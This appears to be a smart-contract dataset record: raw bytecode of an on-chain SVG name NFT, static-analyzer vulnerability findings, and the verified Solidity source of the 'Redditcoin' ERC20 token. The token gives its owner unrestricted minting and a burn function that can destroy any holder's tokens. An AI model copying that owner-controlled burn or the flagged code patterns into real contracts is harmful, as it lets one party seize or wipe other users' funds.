ff811615801590610efd57508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80610f3a575073ffffffffffffffffffffffffffffffffffffffff80841660009081526006602090815260408083209385168352929052205460ff165b610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f494e56414c49445f5045524d49545f5349474e41545552450000000000000000604482015260640161063e565b60008881526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8d811691821790925591518b93918716917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050505050565b60606104e5826040518060400160405280600481526020017f4d4f4a49000000000000000000000000000000000000000000000000000000008152506008805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546110a49061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546110d09061255d565b801561111d5780601f106110f25761010080835404028352916020019161111d565b820191906000526020600020905b81548152906001019060200180831161110057829003601f168201915b505050505081526020019060010190611085565b600180546104f89061255d565b33600081815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161063e565b33600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905573ffffffffffffffffffffffffffffffffffffffff8616808452818420805460010190558584526005835281842080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560049093528184208054909316811790925551849391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a45050565b6060611339611cb1565b604051806101400160405280610102815260200161273b6101029139815261136083611027565b81600160200201819052506040518060600160405280602981526020016128a6602991396040820152611392836106c8565b60608083019190915260408051918201905260298082526126e9602083013960808201526113bf836107db565b60a08201526040805160608101909152602980825261283d602083013960c08201526113ea83610aaf565b60e08201526040805160608101909152602980825261271260208301396101008201526114168361174d565b61012082015260408051808201909152600d81527f3c2f746578743e3c2f7376673e00000000000000000000000000000000000000602082015281600a602090810291909101919091528151828201516040808501516060860151608087015160a088015160c089015160e08a01516101008b015196516114a39a9697959694959394929391920161209a565b604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0018152908290526101208301516101408401519194506114f092859290602001612057565b6040516020818303038152906040529150600061156561150f8561194f565b611518866106c8565b611521876107db565b61152a88610aaf565b6115338961174d565b61153c89611a89565b6040516020016115519695949392919061215b565b604051602081830303815290604052611a89565b9050806040516020016115789190612410565b60405160208183030381529060405292505050919050565b61159c600084846108e5565b73ffffffffffffffffffffffffffffffffffffffff83163b156117475760008373ffffffffffffffffffffffffffffffffffffffff1663150b7a0233600086866040516024016115ef9493929190612455565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161163d919061200c565b600060405180830381855afa9150503d8060008114611678576040519150601f19603f3d011682016040523d82523d6000602084013e61167d565b606091505b509150506000818060200190518101906116979190611f70565b90507f150b7a02000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000821614611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4e4f545f4552433732315f524543454956455200000000000000000000000000604482015260640161063e565b50505b50505050565b60606104e5826040518060400160405280600581526020017f434f4c4f52000000000000000000000000000000000000000000000000000000815250600c805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546117ca9061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546117f69061255d565b80156118435780601f1061181857610100808354040283529160200191611843565b820191906000526020600020905b81548152906001019060200180831161182657829003601f168201915b5050505050815260200190600101906117ab565b6060600061188d846118688761194f565b604051602001611879929190612028565b604051602081830303815290604052611c62565b90508283518261189d91906125ea565b815181106118ad576118ad61265c565b60200260200101519150509392505050565b73ffffffffffffffffffffffffffffffffffffffff8216600081815260036020908152604080832080546001019055848352600490915280822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168417905551839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60608161198f57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156119b957806119a3816125b1565b91506119b29050600a836124c9565b9150611993565b60008167ffffffffffffffff8111156119d4576119d461268b565b6040519080825280601f01601f1916602001820160405280156119fe576020820181803683370190505b5090505b8415611a8157611a1360018361251a565b9150611a20600a866125ea565b611a2b9060306124b1565b60f81b818381518110611a4057611a4061265c565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611a7a600a866124c9565b9450611a02565b949350505050565b805160609080611aa9575050604080516020810190915260008152919050565b60006003611ab88360026124b1565b611ac291906124c9565b611acd9060046124dd565b90506000611adc8260206124b1565b67ffffffffffffffff811115611af457611af461268b565b6040519080825280601f01601f191660200182016040528015611b1e576020820181803683370190505b5090506000604051806060016040528060408152602001612866604091399050600181016020830160005b86811015611baa576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101611b49565b506003860660018114611bc45760028114611c0e57611c54565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611c54565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b505050918152949350505050565b600081604051602001611c75919061200c565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152919052805160209091012092915050565b604051806101600160405280600b905b6060815260200190600190039081611cc15790505090565b803573ffffffffffffffffffffffffffffffffffffffff81168114611cfd57600080fd5b919050565b600060208284031215611d1457600080fd5b611d1d82611cd9565b9392505050565b60008060408385031215611d3757600080fd5b611d4083611cd9565b9150611d4e60208401611cd9565b90509250929050565b600080600060608486031215611d6c57600080fd5b611d7584611cd9565b9250611d8360208501611cd9565b9150604084013590509250925092565b60008060008060808587031215611da957600080fd5b611db285611cd9565b9350611dc060208601611cd9565b925060408501359150606085013567ffffffffffffffff80821115611de457600080fd5b818701915087601f830112611df857600080fd5b813581811115611e0a57611e0a61268b565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715611e5057611e5061268b565b816040528281528a6020848701011115611e6957600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611ea057600080fd5b611ea983611cd9565b915060208301358015158114611ebe57600080fd5b809150509250929050565b60008060408385031215611edc57600080fd5b611ee583611cd9565b946020939093013593505050565b60008060008060008060c08789031215611f0c57600080fd5b611f1587611cd9565b95506020870135945060408701359350606087013560ff81168114611f3957600080fd5b9598949750929560808101359460a0909101359350915050565b600060208284031215611f6557600080fd5b8135611d1d816126ba565b600060208284031215611f8257600080fd5b8151611d1d816126ba565b600060208284031215611f9f57600080fd5b5035919050565b60008151808452611fbe816020860160208601612531565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60008151612002818560208601612531565b9290920192915050565b6000825161201e818460208701612531565b9190910192915050565b6000835161203a818460208801612531565b83519083019061204e818360208801612531565b01949350505050565b60008451612069818460208901612531565b84519083019061207d818360208901612531565b8451910190612090818360208801612531565b0195945050505050565b60008a516120ac818460208f01612531565b8a516120be8183860160208f01612531565b8a5191840101906120d3818360208e01612531565b89516120e58183850160208e01612531565b89519290910101906120fb818360208c01612531565b875161210d8183850160208c01612531565b8751929091010190612123818360208a01612531565b85516121358183850160208a01612531565b855192909101019061214b818360208801612531565b019b9a5050505050505050505050565b7f7b226e616d65223a202253434f54555320230000000000000000000000000000815260008751612193816012850160208c01612531565b7f222c20226465736372697074696f6e223a202253636f747573204e616d6573206012918401918201527f6172652072616e646f6d206f6e636861696e2053434f545553206e616d65732060328201527f6261736564206f6e205374616765204e616d65732f4c6f6f742e222c2022617460528201527f7472696275746573223a205b7b2274726169745f74797065223a20224669727360728201527f74204e616d65222c2276616c7565223a20220000000000000000000000000000609282015287516122688160a4840160208c01612531565b7f227d2c207b2274726169745f74797065223a20224c617374204e616d65222c2260a492909101918201527f76616c7565223a2022000000000000000000000000000000000000000000000060c48201526124036123da6123d461238561237f61233061232a6122db60cd89018f611ff0565b7f227d2c207b2274726169745f74797065223a2022537570657220506f7765722281527f2c2276616c7565223a20220000000000000000000000000000000000000000006020820152602b0190565b8c611ff0565b7f227d2c207b2274726169745f74797065223a2022526f626520436f6c6f72222c81527f2276616c7565223a2022000000000000000000000000000000000000000000006020820152602a0190565b89611ff0565b7f227d5d2c2022696d616765223a2022646174613a696d6167652f7376672b786d81527f6c3b6261736536342c0000000000000000000000000000000000000000000000602082015260290190565b86611ff0565b7f227d000000000000000000000000000000000000000000000000000000000000815260020190565b9998505050505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161244881601d850160208701612531565b91909101601d0192915050565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526124946080830184611fa6565b9695505050505050565b602081526000611d1d6020830184611fa6565b600082198211156124c4576124c46125fe565b500190565b6000826124d8576124d861262d565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612515576125156125fe565b500290565b60008282101561252c5761252c6125fe565b500390565b60005b8381101561254c578181015183820152602001612534565b838111156117475750506000910152565b600181811c9082168061257157607f821691505b602082108114156125ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125e3576125e36125fe565b5060010190565b6000826125f9576125f961262d565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610c4657600080fdfe3c2f746578743e3c7465787420783d2231302220793d223231302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223330302220636c6173733d2262617365223e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2079656c6c6f773b20666f6e742d66616d696c793a206c6f62737465723b20666f6e742d73697a653a20323470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d226f726368696422202f3e3c7465787420783d223330302220793d2239302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223237302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f746578743e3c7465787420783d2231302220793d223138302220636c6173733d2262617365223ea2646970667358221220160af9a2302c5be84a6fdab1c84b008aacaf5ce8e94648b003eeef3567b2152864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,217
0x328bd19aa911437b29a163d13017dd392ba4fd87
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract RC is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Redditcoin"; _symbol = "RC"; _totalSupply = 6100000000 * (10**decimals()); _balances[msg.sender] = _totalSupply; emit Transfer(address(0),msg.sender,_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(address account,uint256 amount) public onlyOwner returns(bool) { _burn(account,amount); return true; } function mint(address account,uint256 amount) public onlyOwner returns(bool) { _mint(account,amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102c5578063a9059cbb146102f5578063dd62ed3e14610325578063f2fde38b1461035557610100565b8063715018a61461024f5780638da5cb5b1461025957806395d89b41146102775780639dc29fac1461029557610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610371565b60405161011a91906116e8565b60405180910390f35b61013d6004803603810190610138919061145d565b610403565b60405161014a91906116cd565b60405180910390f35b61015b610421565b604051610168919061188a565b60405180910390f35b61018b6004803603810190610186919061140e565b61042b565b60405161019891906116cd565b60405180910390f35b6101a961052c565b6040516101b691906118a5565b60405180910390f35b6101d960048036038101906101d4919061145d565b610535565b6040516101e691906116cd565b60405180910390f35b6102096004803603810190610204919061145d565b6105e1565b60405161021691906116cd565b60405180910390f35b610239600480360381019061023491906113a9565b610673565b604051610246919061188a565b60405180910390f35b6102576106bc565b005b610261610744565b60405161026e91906116b2565b60405180910390f35b61027f61076d565b60405161028c91906116e8565b60405180910390f35b6102af60048036038101906102aa919061145d565b6107ff565b6040516102bc91906116cd565b60405180910390f35b6102df60048036038101906102da919061145d565b610891565b6040516102ec91906116cd565b60405180910390f35b61030f600480360381019061030a919061145d565b610985565b60405161031c91906116cd565b60405180910390f35b61033f600480360381019061033a91906113d2565b6109a3565b60405161034c919061188a565b60405180910390f35b61036f600480360381019061036a91906113a9565b610a2a565b005b606060048054610380906119ee565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac906119ee565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b6000610417610410610b22565b8484610b2a565b6001905092915050565b6000600354905090565b6000610438848484610cf5565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610483610b22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa906117aa565b60405180910390fd5b6105208561050f610b22565b858461051b9190611932565b610b2a565b60019150509392505050565b60006012905090565b60006105d7610542610b22565b848460026000610550610b22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d291906118dc565b610b2a565b6001905092915050565b60006105eb610b22565b73ffffffffffffffffffffffffffffffffffffffff16610609610744565b73ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610656906117ca565b60405180910390fd5b6106698383610f77565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106c4610b22565b73ffffffffffffffffffffffffffffffffffffffff166106e2610744565b73ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072f906117ca565b60405180910390fd5b61074260006110d8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461077c906119ee565b80601f01602080910402602001604051908101604052809291908181526020018280546107a8906119ee565b80156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b5050505050905090565b6000610809610b22565b73ffffffffffffffffffffffffffffffffffffffff16610827610744565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610874906117ca565b60405180910390fd5b610887838361119c565b6001905092915050565b600080600260006108a0610b22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561095d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109549061184a565b60405180910390fd5b61097a610968610b22565b8585846109759190611932565b610b2a565b600191505092915050565b6000610999610992610b22565b8484610cf5565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a32610b22565b73ffffffffffffffffffffffffffffffffffffffff16610a50610744565b73ffffffffffffffffffffffffffffffffffffffff1614610aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9d906117ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d9061174a565b60405180910390fd5b610b1f816110d8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b919061182a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c019061176a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ce8919061188a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c9061180a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc9061170a565b60405180910390fd5b610de0838383611375565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5e9061178a565b60405180910390fd5b8181610e739190611932565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0591906118dc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f69919061188a565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061186a565b60405180910390fd5b610ff360008383611375565b806003600082825461100591906118dc565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461105b91906118dc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110c0919061188a565b60405180910390a36110d46000838361137a565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611203906117ea565b60405180910390fd5b61121882600083611375565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112969061172a565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546112f79190611932565b925050819055506000